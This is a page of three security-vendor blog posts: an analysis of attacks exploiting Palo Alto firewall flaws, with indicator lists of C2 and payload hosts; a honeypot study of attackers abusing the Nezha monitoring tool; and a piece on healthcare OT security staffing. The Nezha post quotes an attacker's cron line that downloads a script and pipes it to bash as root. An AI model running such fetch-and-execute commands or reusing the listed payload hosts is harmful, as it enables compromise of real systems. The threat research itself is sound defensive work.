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December 9, 2024

Darktrace’s view on Operation Lunar Peek: Exploitation of Palo Alto firewall devices (CVE 2024-0012 and 2024-9474)

Darktrace’s Threat Research team investigated a major campaign exploiting vulnerabilities in Palo Alto firewall devices (CVE 2024-0012 and 2024-9474). Learn about the spike in post-exploitation activities and understand the need for anomaly-based detection to stay ahead of evolving threats.
Written by
Adam Potter
Senior Cyber Analyst
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Potter
Senior Cyber Analyst
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09
Dec 2024

Introduction: Spike in exploitation and post-exploitation activity affecting Palo Alto firewall devices

As the first line of defense for many organizations, perimeter devices such as firewalls are frequently targeted by threat actors. If compromised, these devices can serve as the initial point of entry to the network, providing access to vulnerable internal resources. This pattern of malicious behavior has become readily apparent within the Darktrace customer base. In 2024, Darktrace Threat Research analysts identified and investigated at least two major campaigns targeting internet-exposed perimeter devices. These included the exploitation of PAN-OS firewall exploitation via CVE 2024-3400 and FortiManager appliances via CVE 2024-47575.

More recently, at the end of November, Darktrace analysts observed a spike in exploitation and post-exploitation activity affecting, once again, Palo Alto firewall devices in the days following the disclosure of the CVE 2024-0012 and CVE-2024-9474 vulnerabilities.

Threat Research analysts had already been investigating potential exploitation of the firewalls’ management interface after Palo Alto published a security advisory (PAN-SA-2024-0015) on November 8. Subsequent analysis of data from Darktrace’s Security Operations Center (SOC) and external research uncovered multiple cases of Palo Alto firewalls being targeted via the likely exploitation of these vulnerabilities since November 13, through the end of the month. Although this spike in anomalous behavior may not be attributable to a single malicious actor, Darktrace Threat Research identified a clear increase in PAN-OS exploitation across the customer base by threat actors likely utilizing the recently disclosed vulnerabilities, resulting in broad patterns of post-exploitation activity.

How did exploitation occur?

CVE 2024-0012 is an authentication bypass vulnerability affecting unpatched versions of Palo Alto Networks Next-Generation Firewalls. The vulnerability resides in the management interface application on the firewalls specifically, which is written in PHP. When attempting to access highly privileged scripts, users are typically redirected to a login page. However, this can be bypassed by supplying an HTTP request where a Palo Alto related authentication header can be set to “off”.  Users can supply this header value to the Nginx reverse proxy server fronting the application which will then send it without any prior processing [1].

CVE-2024-9474 is a privilege escalation vulnerability that allows a PAN-OS administrator with access to the management web interface to execute root-level commands, granting full control over the affected device [2]. When combined, these vulnerabilities enable unauthenticated adversaries to execute arbitrary commands on the firewall with root privileges.

Post-Exploitation Patterns of Activity

Darktrace Threat Research analysts examined potential indicators of PAN-OS software exploitation via CVE 2024-0012 and CVE-2024-9474 during November 2024. The investigation identified three main groupings of post-exploitation activity:

  1. Exploit validation and initial payload retrieval
  2. Command and control (C2) connectivity, potentially featuring further binary downloads
  3. Potential reconnaissance and cryptomining activity

Exploit Validation

Across multiple investigated customers, Darktrace analysts identified likely vulnerable PAN-OS devices conducting external network connectivity to bin services. Specifically, several hosts performed DNS queries for, and HTTP requests to Out-of-Band Application Security Testing (OAST) domains, such as csv2im6eq58ujueonqs0iyq7dqpak311i.oast[.]pro. These endpoints are commonly used by network administrators to harden defenses, but they are increasingly used by threat actors to verify successful exploitation of targeted devices and assess their potential for further compromise. Although connectivity involving OAST domains were prevalent across investigated incidents, this activity was not necessarily the first indicator observed. In some cases, device behavior involving OAST domains also occurred shortly after an initial payload was downloaded.

Darktrace model alert logs detailing the HTTP request to an OAST domain immediately following PAN-OS device compromise.
Figure 1: Darktrace model alert logs detailing the HTTP request to an OAST domain immediately following PAN-OS device compromise.

Initial Payload Retrieval

Following successful exploitation, affected devices commonly performed behaviors indicative of initial payload download, likely in response to incoming remote command execution. Typically, the affected PAN-OS host would utilize the command line utilities curl and Wget, seen via use of user agents curl/7.61.1 and Wget/1.19.5 (linux-gnu), respectively.

In some cases, the use of these command line utilities by the infected devices was considered new behavior. Given the nature of the user agents, interaction with the host shell suggests remote command execution to achieve the outgoing payload requests.

While additional binaries and scripts were retrieved in later stages of the post-exploitation activity in some cases, this set of behaviors and payloads likely represent initial persistence and execution mechanisms that will enable additional functionality later in the kill chain. During the investigation, Darktrace analysts noted the prevalence of shell script payload requests. Devices analyzed would frequently make HTTP requests over the usual destination port 80 using the command line URL utility (curl), as seen in the user-agent field.

The observed URIs often featured requests for text files, such as “1.txt”, or shell scripts such as “y.sh”. Although packet capture (PCAP) samples were unavailable for review, external researchers have noted that the IP address hosting such “1.txt” files (46.8.226[.]75) serves malicious PHP payloads. When examining the contents of the “y.sh” shell script, Darktrace analysts noticed the execution of bash commands to upload a PHP-written web shell on the affected server.

PCAP showing the client request and server response associated with the download of the y.sh script from 45.76.141[.]166. The body content of the HTTP response highlights a shebang command to run subsequent code as bash script. The content is base64 encoded and details PHP script for what appears to be a webshell that will likely be written to the firewall device.
Figure 2: PCAP showing the client request and server response associated with the download of the y.sh script from 45.76.141[.]166. The body content of the HTTP response highlights a shebang command to run subsequent code as bash script. The content is base64 encoded and details PHP script for what appears to be a webshell that will likely be written to the firewall device.

While not all investigated cases saw initial shell script retrieval, affected systems would commonly make an external HTTP connection, almost always via Wget, for the Executable and Linkable Format (ELF) file “/palofd” from the rare external IP  38.180.147[.]18.

Such requests were frequently made without prior hostname lookups, suggesting that the process or script initiating the requests already contained the external IP address. Analysts noticed a consistent SHA1 hash present for all identified instances of “/palofd” downloads (90f6890fa94b25fbf4d5c49f1ea354a023e06510). Multiple open-source intelligence (OSINT) vendors have associated this hash sample with Spectre RAT, a remote access trojan with capabilities including remote command execution, payload delivery, process manipulation, file transfers, and data theft [3][4].

Figure 3: Advanced Search log metrics highlighting details of the “/palofd” file download over HTTP.

Several targeted customer devices were observed initiating TLS/SSL connections to rare external IPs with self-signed TLS certificates following exploitation. Model data from across the Darktrace fleet indicated some overlap in JA3 fingerprints utilized by affected PAN-OS devices engaging in the suspicious TLS activity. Although JA3 hashes alone cannot be used for process attribution, this evidence suggests some correlation of source process across instances of PAN-OS exploitation.

These TLS/SSL sessions were typically established without the specification of a Server Name Indication (SNI) within the TLS extensions. The SNI extension prevents servers from supplying an incorrect certificate to the requesting client when multiple sites are hosted on the same IP. SSL connectivity without SNI specification suggests a potentially malicious running process as most software establishing TLS sessions typically supply this information during the handshake. Although the encrypted nature of the connection prevented further analysis of the payload packets, external sources note that JavaScript content is transmitted during these sessions, serving as initial payloads for the Sliver C2 platform using Wget [5].

C2 Communication and Additional Payloads

Following validation and preliminary post-compromise actions, examined hosts would commonly initiate varying forms of C2 connectivity. During this time, devices were frequently detected making further payload downloads, likely in response to directives set within C2 communications.

Palo Alto firewalls likely exploited via the newly disclosed CVEs would commonly utilize the Sliver C2 platform for external communication. Sliver’s functionality allows for different styles and formatting for communication. An open-source alternative to Cobalt Strike, this framework has been increasingly popular among threat actors, enabling the generation of dynamic payloads (“slivers”) for multiple platforms, including Windows, MacOS, Linux.

These payloads allow operators to establish persistence, spawn new shells, and exfiltrate data. URI patterns and PCAPs analysis yielded evidence of both English word type encoding within Sliver and Gzip formatting.

For example, multiple devices contacted the Sliver-linked IP address 77.221.158[.]154 using HTTP to retrieve Gzip files. The URIs present for these requests follow known Sliver Gzip formatted communication patterns [6]. Investigations yielded evidence of both English word encoding within Sliver, identified through PCAP analysis, and Gzip formatting.

Sample of URIs observed in Advanced Searchhighlighting HTTP requests to 77.221.158[.]154 for Gzip content suggest of Sliver communication.
Figure 4: Sample of URIs observed in Advanced Searchhighlighting HTTP requests to 77.221.158[.]154 for Gzip content suggest of Sliver communication.
PCAP showing English word encoding for Sliver communication observed during post-exploitation C2 activity.
Figure 5: PCAP showing English word encoding for Sliver communication observed during post-exploitation C2 activity.

External connectivity during this phase also featured TCP connection attempts over uncommon ports for common application protocols. For both Sliver and non-Sliver related IP addresses, devices utilized destination ports such as 8089, 3939, 8880, 8084, and 9999 for the HTTP protocol. The use of uncommon destination ports may represent attempts to avoid detection of connectivity to rare external endpoints. Moreover, some external beaconing within included URIs referencing the likely IP of the affected device. Such behavior can suggest the registration of compromised devices with command servers.

Targeted devices also proceeded to download additional payloads from rare external endpoints as beaconing/C2 activity was ongoing. For example, the newly registered domain repositorylinux[.]org (IP: 103.217.145[.]112) received numerous HTTP GET requests from investigated devices throughout the investigation period for script files including “linux.sh” and “cron.sh”. Young domains, especially those that present as similar to known code repositories, tend to host harmful content. Packet captures of the cron.sh file reveal commands within the HTTP body content involving crontab operations, likely to schedule future downloads. Some hosts that engaged in connectivity to the fake repository domain were later seen conducting crypto-mining connections, potentially highlighting the download of miner applications from the domain.

Additional payloads observed during this time largely featured variations of shell scripts, PHP content, and/or executables. Typically, shell scripts direct the device to retrieve additional content from external servers or repositories or contain potential configuration details for subsequent binaries to run on the device. For example, the “service.sh” retrieves a tar-compressed archive, a configuration JSON file as well as a file with the name “solr” from GitHub, potentially associated with the Apache Solr tool used for enterprise search. These could be used for further enumeration of the host and/or the network environment. PHP scripts observed may involve similar web shell functionality and were retrieved from both rare external IPs identified as well by external researchers [7]. Darktrace also detected the download of octet-stream data occurring mid-compromise from an Amazon Web Services (AWS) S3 bucket. Although no outside research confirmed the functionality, additional executable downloads for files such as “/initd”(IP: 178.215.224[.]246) and “/x6” (IP: 223.165.4[.]175) may relate to tool ingress, further Trojan/backdoor functionality, or cryptocurrency mining.

Figure 7: PCAP specifying the HTTP response headers and body content for the service.sh file request. The body content shown includes variable declarations for URLs that will eventually be called by the device shell via bash command.

Reconnaissance and Cryptomining

Darktrace analysts also noticed additional elements of kill chain operations from affected devices after periods of initial exploit activity. Several devices initiated TCP connections to endpoints affiliated with cryptomining pools such as us[.]zephyr[.]herominers[.]com and  xmrig[.]com. Connectivity to these domains indicates likely successful installation of mining software during earlier stages of post-compromise activity. In a small number of instances, Darktrace observed reconnaissance and lateral movement within the time range of PAN-OS exploitation. Firewalls conducted large numbers of internal connectivity attempts across several critical ports related to privileged protocols, including SMB and SSH. Darktrace detected anonymous NTLM login attempts and new usage of potential PAN-related credentials. These behaviors likely constitute attempts at lateral movement to adjacent devices to further extend network compromise impact.

Model alert connection logs detailing the uncommon failed NTLM logins using an anonymous user account following PAN-OS exploitation.
Figure 8: Model alert connection logs detailing the uncommon failed NTLM logins using an anonymous user account following PAN-OS exploitation.

Conclusion

Darktrace Threat Research and SOC analysts increasingly detect spikes in malicious activity on internet-facing devices in the days following the publication of new vulnerabilities. The latest iteration of this trend highlighted how threat actors quickly exploited Palo Alto firewall using authentication bypass and remote command execution vulnerabilities to enable device compromise. A review of the post-exploitation activity during these events reveals consistent patterns of perimeter device exploitation, but also some distinct variations.

Prior campaigns targeting perimeter devices featured activity largely confined to the exfiltration of configuration data and some initial payload retrieval. Within the current campaign, analysts identified a broader scope post-compromise activity consisting not only of payloads downloads but also extensive C2 activity, reconnaissance, and coin mining operations. While the use of command line tools like curl featured prominently in prior investigations, devices were seen retrieving a generally wider array of payloads during the latest round of activity. The use of the Sliver C2 platform further differentiates the latest round of PAN-OS compromises, with evidence of Sliver activity in about half of the investigated cases.

Several of the endpoints contacted by the infected firewall devices did not have any OSINT associated with them at the time of the attack. However, these indicators were noted as unusual for the devices according to Darktrace based on normal network traffic patterns. This reality further highlights the need for anomaly-based detection that does not rely necessarily on known indicators of compromise (IoCs) associated with CVE exploitation for detection. Darktrace’s experience in 2024 of multiple rounds of perimeter device exploitation may foreshadow future increases in these types of comprise operations.  

Credit to Adam Potter (Senior Cyber Analyst), Alexandra Sentenac (Senior Cyber Analyst), Emma Foulger (Principal Cyber Analyst) and the Darktrace Threat Research team.

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References

[1]: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

[2]: https://security.paloaltonetworks.com/CVE-2024-9474

[3]: https://threatfox.abuse[.]ch/ioc/1346254/

[4]:https://www.virustotal.com/gui/file/4911396d80baff80826b96d6ea7e54758847c93fdbcd3b86b00946cfd7d1145b/detection

[5]: https://arcticwolf.com/resources/blog/arctic-wolf-observes-threat-campaign-targeting-palo-alto-networks-firewall-devices/

[6] https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide

[7] https://arcticwolf.com/resources/blog/arctic-wolf-observes-threat-campaign-targeting-palo-alto-networks-firewall-devices/

Appendices

Darktrace Model Alerts

Anomalous Connection / Anomalous SSL without SNI to New External

Anomalous Connection / Application Protocol on Uncommon Port  

Anomalous Connection / Multiple Failed Connections to Rare Endpoint

Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Posting HTTP to IP Without Hostname

Anomalous Connection / Rare External SSL Self-Signed

Anomalous File / EXE from Rare External Location

Anomalous File / Incoming ELF File

Anomalous File / Mismatched MIME Type From Rare Endpoint

Anomalous File / Multiple EXE from Rare External Locations

Anomalous File / New User Agent Followed By Numeric File Download

Anomalous File / Script from Rare External Location

Anomalous File / Zip or Gzip from Rare External Location

Anomalous Server Activity / Rare External from Server

Compromise / Agent Beacon (Long Period)

Compromise / Agent Beacon (Medium Period)

Compromise / Agent Beacon to New Endpoint

Compromise / Beacon for 4 Days

Compromise / Beacon to Young Endpoint

Compromise / Beaconing Activity To External Rare

Compromise / High Priority Tunnelling to Bin Services

Compromise / High Volume of Connections with Beacon Score

Compromise / HTTP Beaconing to New IP

Compromise / HTTP Beaconing to Rare Destination

Compromise / Large Number of Suspicious Failed Connections

Compromise / Large Number of Suspicious Successful Connections

Compromise / Slow Beaconing Activity To External Rare

Compromise / SSL Beaconing to Rare Destination

Compromise / Suspicious Beaconing Behavior

Compromise / Suspicious File and C2

Compromise / Suspicious HTTP and Anomalous Activity

Compromise / Suspicious TLS Beaconing To Rare External

Compromise / Sustained SSL or HTTP Increase

Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

Device / Initial Attack Chain Activity

Device / New User Agent

MITRE ATT&CK Mapping

Tactic – Technique

INITIAL ACCESS – Exploit Public-Facing Application

RESOURCE DEVELOPMENT – Malware

EXECUTION – Scheduled Task/Job (Cron)

EXECUTION – Unix Shell

PERSISTENCE – Web Shell

DEFENSE EVASION – Masquerading (Masquerade File Type)

DEFENSE EVASION - Deobfuscate/Decode Files or Information

CREDENTIAL ACCESS – Brute Force

DISCOVERY – Remote System Discovery

COMMAND AND CONTROL – Ingress Tool Transfer

COMMAND AND CONTROL – Application Layer Protocol (Web Protocols)

COMMAND AND CONTROL – Encrypted Channel

COMMAND AND CONTROL – Non-Standard Port

COMMAND AND CONTROL – Data Obfuscation

IMPACT – Resource Hijacking (Compute)

List of IoCs

IoC         –          Type         –        Description

  • sys.traceroute[.]vip     – Hostname - C2 Endpoint
  • 77.221.158[.]154     – IP - C2 Endpoint
  • 185.174.137[.]26     – IP - C2 Endpoint
  • 93.113.25[.]46     – IP - C2 Endpoint
  • 104.131.69[.]106     – IP - C2 Endpoint
  • 95.164.5[.]41     – IP - C2 Endpoint
  • bristol-beacon-assets.s3.amazonaws[.]com     – Hostname - Payload Server
  • img.dxyjg[.]com     – Hostname - Payload Server
  • 38.180.147[.]18     – IP - Payload Server
  • 143.198.1[.]178     – IP - Payload Server
  • 185.208.156[.]46     – IP - Payload Server
  • 185.196.9[.]154     – IP - Payload Server
  • 46.8.226[.]75     – IP - Payload Server
  • 223.165.4[.]175     – IP - Payload Server
  • 188.166.244[.]81     – IP - Payload Server
  • bristol-beaconassets.s3[.]amazonaws[.]com/Y5bHaYxvd84sw     – URL - Payload
  • img[.]dxyjg[.]com/KjQfcPNzMrgV     – URL - Payload
  • 38.180.147[.]18/palofd     – URL - Payload
  • 90f6890fa94b25fbf4d5c49f1ea354a023e06510     – SHA1 - Associated to file /palofd
  • 143.198.1[.]178/7Z0THCJ     – URL - Payload
  • 8d82ccdb21425cf27b5feb47d9b7fb0c0454a9ca     – SHA1 - Associated to file /7Z0THCJ
  • fefd0f93dcd6215d9b8c80606327f5d3a8c89712     – SHA1 - Associated to file /7Z0THCJ
  • e5464f14556f6e1dd88b11d6b212999dd9aee1b1     – SHA1 - Associated to file /7Z0THCJ
  • 143.198.1[.]178/o4VWvQ5pxICPm     – URL - Payload
  • 185.208.156[.]46/lUuL095knXd62DdR6umDig     – URL - Payload
  • 185.196.9[.]154/ykKDzZ5o0AUSfkrzU5BY4w     – URL - Payload
  • 46.8.226[.]75/1.txt     – URL - Payload
  • 223.165.4[.]175/x6     – URL - Payload
  • 45.76.141[.]166/y.sh     – URL - Payload
  • repositorylinux[.]org/linux.sh     – URL - Payload
  • repositorylinux[.]org/cron.sh     – URL - Payload

‍

Written by
Adam Potter
Senior Cyber Analyst
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Potter
Senior Cyber Analyst

How Attackers Abuse the Chinese Nezha Monitoring Tool

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June 10, 2026
Nathaniel Bill
Malware Research Engineer
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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

This blog examines how attackers abuse the Chinese-developed Nezha monitoring tool, a legitimate open-source platform with remote access capabilities. Darktrace analysis of a honeypot intrusion highlights malicious deployment via containers, demonstrating how dual-use software enables stealthy operations, trust inversion, and detection challenges in dynamic cloud and enterprise environments modern.
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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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About the author
Nathaniel Bill
Malware Research Engineer

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OT

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors. 

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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